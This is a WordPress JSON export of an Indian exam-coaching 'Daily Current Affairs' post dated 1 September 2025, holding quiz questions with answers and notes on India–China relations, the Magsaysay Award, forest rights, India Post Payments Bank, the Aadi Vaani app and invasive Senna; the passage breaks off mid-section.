{"id":2265,"date":"2025-09-01T13:53:46","date_gmt":"2025-09-01T13:53:46","guid":{"rendered":"https:\/\/iasquest.com\/?p=2265"},"modified":"2026-02-11T18:54:29","modified_gmt":"2026-02-11T18:54:29","slug":"daily-current-affairs-01-09-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-01-09-2025\/","title":{"rendered":"Daily Current Affairs \u2013 01-09-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. Consider the following groupings:<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-2\">\n<li>BRICS<\/li>\n\n\n\n<li>SAARC<\/li>\n\n\n\n<li>BIMSTEC<\/li>\n\n\n\n<li>SCO<\/li>\n\n\n\n<li>ASEAN<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\"><strong>In how many of the above groupings are both India and China members?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">(a) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">(b) Only three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(c) Only four<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(d) All five<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\"><strong>Answer: (a) Only two<br>In NEWS:<\/strong> India, China committed to cooperation, fair resolution of boundary issues, says Modi after meeting Xi<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\"><strong>Historical Background<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-10\">\n<li>India recognized the People\u2019s Republic of China in 1949.<\/li>\n\n\n\n<li>The Panchsheel Agreement (1954) emphasized peaceful coexistence.<\/li>\n\n\n\n<li>The 1962 India\u2013China War created long-term mistrust.<\/li>\n\n\n\n<li>Diplomatic relations normalized from 1976 onwards.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Key Issues<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-12\">\n<li>The boundary dispute covers Aksai Chin (Ladakh) and Arunachal Pradesh (South Tibet).<\/li>\n\n\n\n<li>The Line of Actual Control (LAC) is not clearly demarcated.<\/li>\n\n\n\n<li>Recurrent border standoffs: Sumdorong Chu (1987), Doklam (2017), Galwan (2020).<\/li>\n\n\n\n<li>China\u2019s close ties with Pakistan (CPEC through PoK) affect India\u2019s security.<\/li>\n\n\n\n<li>Chinese presence in the Indian Ocean (String of Pearls strategy) raises concerns.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>Economic Relations<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-14\">\n<li>China is India\u2019s largest trading partner in goods.<\/li>\n\n\n\n<li>The trade deficit heavily favors China.<\/li>\n\n\n\n<li>India depends on China for electronics, APIs, and telecom equipment.<\/li>\n\n\n\n<li>India banned Chinese apps and tightened FDI norms post-Galwan clash.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><strong>Geopolitical Dimensions<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-16\">\n<li>India did not join China\u2019s Belt and Road Initiative (BRI) due to sovereignty concerns.<\/li>\n\n\n\n<li>India aligns with the Quad (US, Japan, Australia, India) to balance China.<\/li>\n\n\n\n<li>Both countries cooperate in BRICS, SCO, and RIC forums.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>Areas of Cooperation<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-18\">\n<li>Shared interests in climate change negotiations and global trade reforms.<\/li>\n\n\n\n<li>Cultural ties through Buddhism, yoga, and people-to-people exchanges.<\/li>\n\n\n\n<li>Multilateral engagement despite bilateral tensions.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\"><strong>Recent Developments<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-20\">\n<li>Galwan clash (2020) led to casualties on both sides, first in 45 years.<\/li>\n\n\n\n<li>Disengagement talks are ongoing but unresolved in key friction points.<\/li>\n\n\n\n<li>India has diversified supply chains to reduce China dependence.<\/li>\n\n\n\n<li>Strategic rivalry intensified in the Indo-Pacific region.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> \u00a0 <br><strong>Q. Consider the following:<\/strong> <br><strong>\u00a0<\/strong> <br>1. Asian Infrastructure Investment Bank <br>2. Missile Technology Control Regime <br>3. Shanghai Cooperation Organisation \u00a0 <br><br><strong>India is a member of which of the above?<\/strong> <strong>\u00a0<\/strong> <br>(a) 1 and 2 only <br>(b) 3 only <br>(c) 2 and 3 only <br><strong>(d) 1, 2 and 3<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/ministry-of-external-affairs-statement-on-pm-modi-chinese-president-xi-jinping-meeting-in-tianjin\/article69996067.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/ministry-of-external-affairs-statement-on-pm-modi-chinese-president-xi-jinping-meeting-in-tianjin\/article69996067.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><a><\/a><strong>2. Consider the following statements about the Ramon Magsaysay Award:<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-23\">\n<li>It was established in 1957 by the United Nations Development Programme (UNDP).<\/li>\n\n\n\n<li>It is administered by the Ramon Magsaysay Award Foundation in Manila.<\/li>\n\n\n\n<li>It is often referred to as the \u201cNobel Prize of Asia.\u201d<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>Which of the above statements is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>Answer: (b) 2 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>In NEWS:<\/strong> NGO Educate Girls wins Ramon Magsaysay Award<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\"><strong>About the Ramon Magsaysay Award:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-32\">\n<li>Established in 1957 by the Rockefeller Brothers Fund.<\/li>\n\n\n\n<li>Named after Ramon Magsaysay, 7th President of the Philippines.<\/li>\n\n\n\n<li>Administered by the Ramon Magsaysay Award Foundation, Manila.<\/li>\n\n\n\n<li>Known as the \u201cNobel Prize of Asia.\u201d<\/li>\n\n\n\n<li>Awarded for selfless service, integrity, and transformative leadership.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\"><strong>Categories (historical)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-34\">\n<li>Government service.<\/li>\n\n\n\n<li>Public service.<\/li>\n\n\n\n<li>Community leadership.<\/li>\n\n\n\n<li>Journalism, literature, creative arts, and communication.<\/li>\n\n\n\n<li>Peace and international understanding.<\/li>\n\n\n\n<li>Emergent leadership.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\">(Now awarded broadly, not category-bound.)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\"><strong>Notable Indian Recipients<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-37\">\n<li>Vinoba Bhave (1958) \u2013 Bhoodan Movement.<\/li>\n\n\n\n<li>Mother Teresa (1962) \u2013 Humanitarian service.<\/li>\n\n\n\n<li>Jayaprakash Narayan (1965) \u2013 Community leadership.<\/li>\n\n\n\n<li>Kiran Bedi (1994) \u2013 Police reforms.<\/li>\n\n\n\n<li>Aruna Roy (2000) \u2013 RTI movement.<\/li>\n\n\n\n<li>Arvind Kejriwal (2006) \u2013 RTI activism.<\/li>\n\n\n\n<li>2018 \u2013 Bharat Vatwani (mental health), Sonam Wangchuk (education).<\/li>\n\n\n\n<li>2019 \u2013 Ravish Kumar (journalism).<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> \u00a0 <br><strong>Q. Who amongst the following are members of the Jury to select the recipient of \u2018Gandhi Peace Prize\u2019?<\/strong> <strong>\u00a0<\/strong> <br><br>I. The President of India <br>II. The Prime Minister of India <br>III. The Chief Justice of India <br>IV. The Leader of Opposition in the Lok Sabha \u00a0 <br><br><strong>Select the correct answer using the code given below.<\/strong><br> <strong>\u00a0<\/strong> <br>(a) II and IV only<br>(b) I, II and III<br>(c) <strong>II, III and IV<\/strong><br>(d)I and III only<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/magsaysay-award-for-educate-girls-a-historic-moment-for-india-non-profits-founder-safeena-husain\/article69996543.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/magsaysay-award-for-educate-girls-a-historic-moment-for-india-non-profits-founder-safeena-husain\/article69996543.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\"><strong>3. Consider the following statements regarding the Forest Rights Act (FRA), 2006:<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-40\">\n<li>It recognises both individual and community rights over forest land.<\/li>\n\n\n\n<li>Other Traditional Forest Dwellers (OTFDs) must prove residence in forest areas for at least 75 years before 2005.<\/li>\n\n\n\n<li>The Gram Sabha is the final authority to approve forest rights claims.<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\"><strong>Which of the above statements is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\">(b) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\"><strong>Answer: (a) 1 and 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\"><strong>In NEWS:<\/strong> Build consensus on \u2018sunset clause\u2019 for forest rights titles: UNDP report<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\"><strong>The Scheduled Tribes and Other Traditional Forest Dwellers (Recognition of Forest Rights) Act, 2006:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-49\">\n<li>The Scheduled Tribes and Other Traditional Forest Dwellers (Recognition of Forest Rights) Act, 2006, is a key piece of forest legislation passed in India on 18 December 2006.<\/li>\n\n\n\n<li>It has also been called the <strong>Forest Rights Act, the Tribal Rights Act, the Tribal Bill, and the Tribal Land Act.<\/strong><\/li>\n\n\n\n<li>The law concerns the rights of forest-dwelling communities to land and other resources, denied to them over decades as a result of the continuance of colonial forest laws in India.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\"><strong>Objectives<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-51\">\n<li>To recognize and vest forest rights of STs and OTFDs.<\/li>\n\n\n\n<li>To provide tenurial security and livelihood rights.<\/li>\n\n\n\n<li>To empower communities in forest conservation and management.<\/li>\n\n\n\n<li>To ensure food security and social justice.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\"><strong>Eligibility<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-53\">\n<li>Scheduled Tribes (STs): Must reside in and depend on forest land.<\/li>\n\n\n\n<li>Other Traditional Forest Dwellers (OTFDs): Must prove residence for at least 75 years before 13 December 2005.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><strong>Rights Granted<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-55\">\n<li>Individual Forest Rights (IFR) \u2013 For cultivation and habitation (up to 4 hectares).<\/li>\n\n\n\n<li>Community Rights (CR) \u2013 For grazing, fishing, and collecting minor forest produce (MFP).<\/li>\n\n\n\n<li>Community Forest Resource (CFR) Rights \u2013 To manage and conserve forests.<\/li>\n\n\n\n<li>Habitat Rights \u2013 For PVTGs and pre-agricultural communities.<\/li>\n\n\n\n<li>Development Rights \u2013 Use of forest land for schools, hospitals, and infrastructure (up to 1 hectare without felling trees).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\"><strong>Institutional Mechanism<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-57\">\n<li>Gram Sabha \u2013 Primary authority for initiating claims.<\/li>\n\n\n\n<li>Sub-Divisional Level Committee (SDLC) \u2013 Examines claims.<\/li>\n\n\n\n<li><strong>District Level Committee (DLC)<\/strong> \u2013 Final approval authority.<\/li>\n\n\n\n<li>State Level Monitoring Committee \u2013 Supervises implementation.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\"><strong>Significance<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-59\">\n<li>Empowers tribals and local communities as custodians of forests.<\/li>\n\n\n\n<li>Promotes participatory governance.<\/li>\n\n\n\n<li>Reduces conflict between tribals and forest departments.<\/li>\n\n\n\n<li>Secures livelihoods and cultural rights of vulnerable groups.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2013)<\/strong> \u00a0 <br><strong>Q. Under the Scheduled Tribes and Other Traditional Forest Dwellers (Recognition of Forest Rights) Act, 2006, who shall be the authority to initiate the process for determining the nature and extent of individual or community forest rights or both?<\/strong> <strong>\u00a0<\/strong> <br><br>(a) State Forest Department <br>(b) District Collector\/Deputy Commissioner <br>(c) Tahsildar\/BlockDevelopmentofficer\/Mandal Revenue Officer <br><strong>(d) Gram Sabha<\/strong> \u00a0 \u00a0<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/build-consensus-on-sunset-clause-for-forest-rights-titles-undp-report\/article69989500.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/build-consensus-on-sunset-clause-for-forest-rights-titles-undp-report\/article69989500.ece<\/strong><\/a><a><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\"><strong>4. Which of the following services are offered by the India Post Payments Bank (IPPB), a fully owned enterprise of the Government of India?<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-62\">\n<li>Unified Payments Interface<\/li>\n\n\n\n<li>Immediate Payment Service<\/li>\n\n\n\n<li>National Electronic Funds Transfer<\/li>\n\n\n\n<li>Real-time gross settlement<\/li>\n\n\n\n<li>Bharat BillPay<\/li>\n\n\n\n<li>Direct Benefit Transfer<\/li>\n\n\n\n<li>RuPay credit Card<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\">(a) 1, 2, 4 and 5 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\">(b) 2, 3, 5, 6 and 7 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\">(c) 1, 2, 3, 4, 5 and 6 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\">(d) 1, 2, 3, 4, 5, 6 and 7<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\"><strong>Answer: (c) 1, 2, 3, 4, 5 and 6 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\"><strong>In NEWS:<\/strong> India Post Payments Bank Celebrates 8th Foundation Day (IPPB Day)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\"><strong>India Post Payments Bank (IPPB):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-71\">\n<li>Launched: September 1, 2018<\/li>\n\n\n\n<li>Parent Organization: Department of Posts, Ministry of Communications, Government of India<\/li>\n\n\n\n<li>Ownership: 100% Government of India<\/li>\n\n\n\n<li>Tagline\/Motto: \u201cAapka Bank, Aapke Dwaar\u201d (Your Bank at Your Doorstep)<\/li>\n\n\n\n<li>Headquarters: New Delhi<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\"><strong>The bank also provides features like:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-73\">\n<li>Account: The bank offers savings and current accounts up to a balance of Rs. 200,000.<\/li>\n\n\n\n<li>QR Code: Customers can use QR code payments eliminating the need to remember account numbers, PINs and passwords.<\/li>\n\n\n\n<li>Unified Payments Interface<\/li>\n\n\n\n<li>Immediate Payment Service<\/li>\n\n\n\n<li>National Electronic Funds Transfer<\/li>\n\n\n\n<li>Real-time gross settlement<\/li>\n\n\n\n<li>Bharat BillPay<\/li>\n\n\n\n<li>Direct Benefit Transfer<\/li>\n\n\n\n<li>RuPay Debit Card<\/li>\n\n\n\n<li>AEPS (Aadhaar Enabled Payment Service)<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\"><strong>Achievements:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-75\">\n<li>Over 12 crore customers onboarded.<\/li>\n\n\n\n<li>Operations through 1.64 lakh Post Offices and 1.90 lakh Postmen &amp; Gramin Dak Sevaks (GDS).<\/li>\n\n\n\n<li>Delivered doorstep banking in rural and remote areas.<\/li>\n\n\n\n<li>Billions of digital transactions processed.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\"><strong>Technology-Enabled Delivery:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-77\">\n<li>Devices used by Postmen &amp; GDS are CBS-integrated (Core Banking Solution)<\/li>\n\n\n\n<li>Banking done through biometric authentication, QR codes, and mobile apps<\/li>\n\n\n\n<li>Focus on secure, low-cost, and real-time services<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\"><strong>Social &amp; Economic Impact:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-79\">\n<li>Reduces urban-rural financial divide<\/li>\n\n\n\n<li>Empowers rural citizens and small savers<\/li>\n\n\n\n<li>Enhances role and relevance of India Post in digital governance<\/li>\n\n\n\n<li>Contributes to goals of Digital India and a less-cash economy<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2016)<\/strong> \u00a0 <br><strong>Q. &#8216;The establishment of &#8216;Payment Banks&#8217; is being allowed in India to promote financial inclusion. Which of the following statements is\/are correct in this context?<\/strong> <strong>\u00a0<\/strong> <br><br>1. Mobile telephone companies and supermarket chains that are owned and controlled by residents are eligible to be promoters of Payment Banks.<br>2. Payment Banks can issue both credit cards and debit cards.<br>3. Payment Banks cannot undertake lending activities. \u00a0 <br><br><strong>Select the correct answer using the code given below<\/strong> <strong>\u00a0<\/strong> <br><br>(a) 1 and 2 only <br><strong>(b) 1 and 3 only<\/strong> <br>(c) 2 only <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2162639\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2162639<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\"><strong>5. \u2018Aadi Vaani\u2019, recently seen in the news is a\/an<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-82\">\n<li>AI-based translation model and mobile app for Indian tribal languages.<\/li>\n\n\n\n<li>Indigenous medicinal plant used in traditional tribal healing practices.<\/li>\n\n\n\n<li>Government initiative for providing digital education in tribal schools.<\/li>\n\n\n\n<li>Cultural festival celebrated by tribal communities in central India.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\"><strong>Answer: (a) AI-based translation model and mobile app for Indian tribal languages.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\"><strong>In NEWS:<\/strong> Adivasi languages translation app to be launched<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\"><strong>Aadi Vaani:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-86\">\n<li>Aadi Vaani is an<strong> AI-based translation model and mobile app for Indian Adivasi (tribal) languages.<\/strong><\/li>\n\n\n\n<li>Its Beta version was released on Monday, September 1, 2025.<\/li>\n\n\n\n<li>It is developed by the Ministry of Tribal Affairs in collaboration with IIT Delhi, BITS Pilani, IIIT Hyderabad &amp; IIIT Naya Raipur and tribal research institutes and community experts.<\/li>\n\n\n\n<li>The app gathered sources from Community folklore, traditional songs, and public speeches.<\/li>\n\n\n\n<li>Uses Large Language Model (LLM) trained on multilingual content.<\/li>\n\n\n\n<li>Beta app will be on Google Play Store and Apple App Store.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\"><strong>The app translates speech and text between Hindi, English, and six Adivasi languages:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-88\">\n<li>Bhili (Bhilodi) \u2013 ~1.04 crore speakers<ul><li>Santali \u2013 ~73.68 lakh speakers<\/li><\/ul><ul><li>Gondi \u2013 ~29.84 lakh speakers<\/li><\/ul><ul><li>Mundari \u2013 ~11.28 lakh speakers<\/li><\/ul><ul><li>Kui \u2013 ~9.41 lakh speakers<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Garo \u2013 ~11.45 lakh speakers<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\"><strong>Significance:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-90\">\n<li>Promotes digital inclusion for tribal communities.<\/li>\n\n\n\n<li>Aims to preserve and empower endangered indigenous languages.<\/li>\n\n\n\n<li>Bridges linguistic gaps in education, governance, and community engagement.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/govt-to-launch-adivasi-languages-translation-app\/article69984532.ece#:~:text=Aadi%20Vaani%2C%20the%20Union%20government&#039;s,%2C%202025)%2C%20officials%20said\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/govt-to-launch-adivasi-languages-translation-app\/article69984532.ece#:~:text=Aadi%20Vaani%2C%20the%20Union%20government&#8217;s,%2C%202025)%2C%20officials%20said<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\"><strong>6. Consider the following statements with respect to Senna spectabilis:<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-93\">\n<li>It is native to India<\/li>\n\n\n\n<li>It is less water intensive and fosters ecological conservation<\/li>\n\n\n\n<li>It demonstrates medicinal properties including traditional treatments for insomnia and anxiety.<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\"><strong>How many of the above statements are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\">(c) Only three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\"><strong>Answer: (a) Only one<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\"><strong>In NEWS:<\/strong> Red alert over green menace: How South India is fighting back against the Senna invasion<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\"><strong>Senna spectabilis:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-102\">\n<li>Senna spectabilis is a legume (family Fabaceae, subfamily Caesalpinioideae), native to South and Central America, including eastern tropical Brazil and coastal Ecuador, and also found throughout Central America and the West Indies.<\/li>\n\n\n\n<li>It thrives across various habitats, including rainforests, semi-deciduous and dry forests, and montane zones up to 2,000\u202fm altitude<\/li>\n\n\n\n<li>Prefers full sun and well-drained soils, and tolerates a wide soil range (moist, clay, loam, even slightly alkaline or acidic soils)<\/li>\n\n\n\n<li>Ornamental plant with showy blooms, commonly planted in yards and public spaces<\/li>\n\n\n\n<li>Also used in agroforestry for shade, fodder, mulch, firewood, and honey production.<\/li>\n\n\n\n<li>Its wood is versatile: heavy, soft, termite-resistant, suitable for tool handles, furniture, boxes, construction, and charcoal<\/li>\n\n\n\n<li>Demonstrates medicinal properties: antifungal activity (e.g., against Candida albicans); traditional treatments for ringworm, skin diseases, epilepsy, constipation, insomnia, and anxiety.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\"><strong>Invasiveness:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list 